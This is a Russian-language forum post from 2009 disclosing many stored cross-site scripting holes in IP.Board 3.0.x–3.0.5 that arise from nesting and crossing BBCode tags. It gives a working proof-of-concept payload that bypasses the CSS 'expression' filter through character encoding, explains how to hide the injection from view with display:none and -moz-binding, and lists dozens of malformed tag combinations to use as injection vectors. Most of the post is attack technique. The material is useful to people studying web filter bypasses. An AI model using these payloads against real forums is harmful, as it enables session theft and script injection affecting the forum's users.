Показать сообщение отдельно

Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5
  #37  
Старый 17.12.2009, 18:19
LeverOne
Познающий
Регистрация: 22.02.2006
Сообщений: 67
С нами: 10638498

Репутация: 2033
По умолчанию Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5

Множественный активный межсайтовый скриптинг в IP.Board 3.0.x-3.0.5

Версия 3.0.5 на текущий момент является последней в третьей ветке этого форума. Вообще говоря, её появление - хорошая иллюстрация видимости прогресса в обеспечении безопасности, создающейся при появлении более новых версий. Так, третья ветка - это почти возврат к 2005 году в плане защиты от XSS.

Мною будет приведен список подвида активных xss-уязвимостей, основанных на разрушении структуры тега. Но это не все имеющиеся там XSS, их Я оставляю будущим поколениям. Я не стану также показывать готовые примеры эксплойтов, а просто отошлю всех интересующихся к источнику, в котором описаны пути преодоления трудностей его составления: https://forum.antichat.ru/showthread.php?t=96612

Однако несколько моментов все же стоит осветить:

1) Запрет expression преодолевается путем кодирования одного из символов комментария в dec (expr&*#47;**/ession) вне пределов стилевого атрибута форума. Но обращение с expression требует немалой осторожности. Исходя из моего опыта саму заглушку expression следует прописывать по старинке в отдельном атрибуте ( style=gg:expression(eval(this.blabla)) blabla=confirm(1);this.blabla=null//), и НИКОГДА не пытаться вставлять рабочий код в само выражение - очень нестабильная конструкция.

2) Мозиловский xml-файл, чтобы уязвимость сработала не только в несвежих версиях FF 2.x, должен быть залит на тот же домен. По умолчанию это возможно.

3) Сокрытие кода возможно через цвет, как описано в источнике, но лучше через стиль и грамотный отказ от вложенных и спаренных тегов в пользу структуры скрещенных bb-тегов. Этот выбор вам предоставится.

Объясню на примере:

Возьмем структуру вложенных bb-тегов:

[*url]http://www.domain.com[*entry=100 xss]Click_me![*/entry][*/url]

на выходе :

<a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section= blog&amp;showentry=100 xss'>Click_me</a>' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...ick_me![*/entry]</a>

Видно, что после тега ссылки остались развалины тега, которые бросятся в глаза.

Теперь переделаем это в стиле скрещенных bb-тегов:

[*url]http://www.domain.com[*entry=100 xss]Click_me![*/url][*/entry]

<a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section= blog&amp;showentry=100 xss'>Click_me' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...0 xss]Click_me!</a></a>

И здесь уже все прежние развалины ушли в потроха, нам осталось всего лишь скрыть их стилем и никаких видимых следов присутствия ни в IE, ни в FF не будет.

[*url]http://www.domain.com[*entry=100 bla=confirm(/lo/),this.bla=null style=];display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()[*/url][*/entry]


<a href='http://www.domain.com<a href='http://domain.com/index.php?app=blog&amp;module=display&amp;section= blog&amp;showentry=100 bla=confirm(1),this.bla=null style='>;display:none;gg:expr&*#47;**/ession(eval(this.bla));-&*#92;&*#54;Doz-binding:url()' class='bbc_url' title='External link' rel='nofollow'>http://www.domain.co...)</a></a>

Вот сам список. Все варианты разрушения структуры привожу по тем соображениям, что характер разрушения во многих случаях разнится.

1) [*email=user@domain.com]Clickhere![*/email]

A) [*email=user@domain.com[*email=user@domain.com][*/email]][*/email]
B) [*email=user@domain.com[*font=times]This]Click[*/font] here![*/email]
C) [*email=user@domain.com[*color=red]This]Click[*/color] here![*/email]
D) [*email=user@domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/email]
E) [*email=user@domain.com[*member=admin]runs this site.]Clickhere![*/email]
F) [*email=user@domain.com[*blog=100]Clickme!]Click[*/blog]here![*/email]
G) [*email=user@domain.com[*entry=100]Click_me!]Click[*/entry]here![*/email]

2) [*url]http://www.domain.com[*/url]

A) [*url]http://www.domain.com[*email]user@domain.com[*/email][*/url]
B) [*url]http://www.domain.com[*email=user@domain.com]Clickhere![*/email][*/url]
C) [*url]http://www.domain.com[*size=7]This[*/size][*/url]
D) [*url]http://www.domain.com[*font=times]This[*/font][*/url]
E) [*url]http://www.domain.com[*color=red]This[*/color][*/url]
F) [*url]http://www.domain.com[*background=red]Red_background_behind_this_text[*/url][*/background]
G) [*url]http://www.domain.com[*blog=100]Clickme![*/blog][*/url]
H) [*url]http://www.domain.com[*entry=100]Click_me![*/entry][*/url]

3) [*url=http://www.domain.com]Clickhere![*/url]

A) [*url=http://www.domain.com[*email=user@domain.com]Clickhere!]Click[*/email]here![*/url]
B) [*url=http://www.domain.com[*font=times]This]Cli[*/font]ckhere![*/url]
C) [*url=http://www.domain.com[*color=red]This]Cli[*/color]ckhere![*/url]
D) [*url=http://www.domain.com[*background=red]Red_background_behind_this_text]Clickhere![*/background][*/url]
E) [*url=http://www.domain.com[*member=admin]runs this site.]Clickhere![*/url]
F) [*url=http://www.domain.com[*blog=100 blabla]Clic]kme![*/blog]Clickhere![*/url]
G) [*url=http://www.domain.com[*entry=100]Click_me!]Click[*/entry]here![*/url]

4) [*font=times]This[*/font]

A) [*font=times[*font=times]This[*/font]]This[*/font]
B) [*font=times[*member=admin]runs this site.]This[*/font]
C) [*font=times[*blog=100]Clickme!]Th[*/blog]is[*/font]
D) [*font=times[*entry=100]Click_me!]Th[*/entry]is[*/font]


5) [*color=red]This[*/color]

A) [*color=red[*color=red]This[*/color]]This[*/color]
B) [*color=red[*font=times]This]Th[*/font]is[*/color]
C) [*color=red[*member=admin]runs this site.]This[*/color]
D) [*color=red[*blog=100]Clickme!]Th[*/blog]is[*/color]
E) [*color=red[*entry=100]Click_me!]Th[*/entry]is[*/color]


6) [*topic=100]Clickme![*/topic]

A) [*topic=100[*topic=100]Clickme![*/topic]]Clickme![*/topic]
B) [*topic=100[*post=100]Clickme!]Click[*/post]me![*/topic]
C) [*topic=100[*color=red]This]Clic[*/color]kme![*/topic]
D) [*topic=100[*font=times]This]Clic[*/font]kme![*/topic]
E) [*topic=100[*url=http://www.domain.com]Clickhere!]Cli[*/url]ckme![*/topic]
F) [*topic=100[*email=user@domain.com]Clickhere!]Clickme![*/topic][*/email]
G) [*topic=100[*acronym='Laugh Out Loud']lo]l[*/acronym]]Clickme![*/topic]
H) [*topic=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/topic]
I) [*topic=100[*member=admin]runs this site.]Clickme![*/topic]
J) [*topic=100[*blog=100]Clickme!]Clic[*/blog]kme![*/topic]
K) [*topic=100[*entry=100]Click_me!]Clickme![*/entry][*/topic]

7) [*post=100]Clickme![*/post]

A) [*post=100[*topic=100]Clickme![*/topic]]Clickme![*/post]
B) [*post=100[*email=user@domain.com]][*/post][*/email]
C) [*post=100[*acronym=Laugh]lol]Clickme![*/acronym][*/post]
D) [*post=100[*background=red]Red_background_behind_this_text]Clickme![*/background][*/post]
E) [*post=100[*member=admin]runs this site.]Clickme![*/post]
F) [*post=100[*blog=100]Clickme!]Clickme![*/post][*/blog]
G) [*post=100[*entry=100]Click_me!]Click[*/entry]me![*/post]

8) [*acronym='Laugh Out Loud']lol[*/acronym]

A) [*acronym='Laugh Out Loud[*email=user@domain.com]Clickhere!']lol[*/email][*/acronym]
B) [*acronym='Laugh Out Loud[*url=http://www.domain.com]Clickhere!']lol[*/url][*/acronym]
C) [*acronym='Laugh Out Loud[*font=times]This']lol[*/font][*/acronym]
D) [*acronym='Laugh Out Loud[*color=red]This']lol[*/color][*/acronym]
E) [*acronym='Laugh Out Loud[*background=red]Red background behind this ]text[*/background]']lol[*/acronym]
F) [*acronym='Laugh Out Loud[*member=admin]runs this site.']lol[*/acronym]
G) [*acronym='Laugh Out Loud[*acronym='Laugh Out Loud']lol[*/acronym]']lol[*/acronym] --> реинкарнация xss в IPB 2.3.5 от brain[pillow]
H) [*acronym=Laugh[*blog=100]Clickme!]lol[*/blog][*/acronym]

9) [*background=red]Red_background_behind_this_text[*/background]

A) [*background=red[*font=times]Thi]sRed_background_behind_this_text[*/font][*/background]
B) [*background=red[*color=red]This]Red_background_behind_this_text[*/color][*/background]
C) [*background=red[*background=red]Red_background_behind_this_text[*/background]]Red_background_behind_this_text[*/background]
D) [*background=red[*member=admin]runs this site.]Red_background_behind_this_text[*/background]
E) [*background=red[*blog=100]Clickme!]Red [*/blog]background behind this text[*/background]
F) [*background=red[*entry=100]]Red[*/entry][*/background]

LeverOne. 17.12.2009

Последний раз редактировалось LeverOne; 17.01.2010 в 10:43.. Причина: уточнение
 
Ответить с цитированием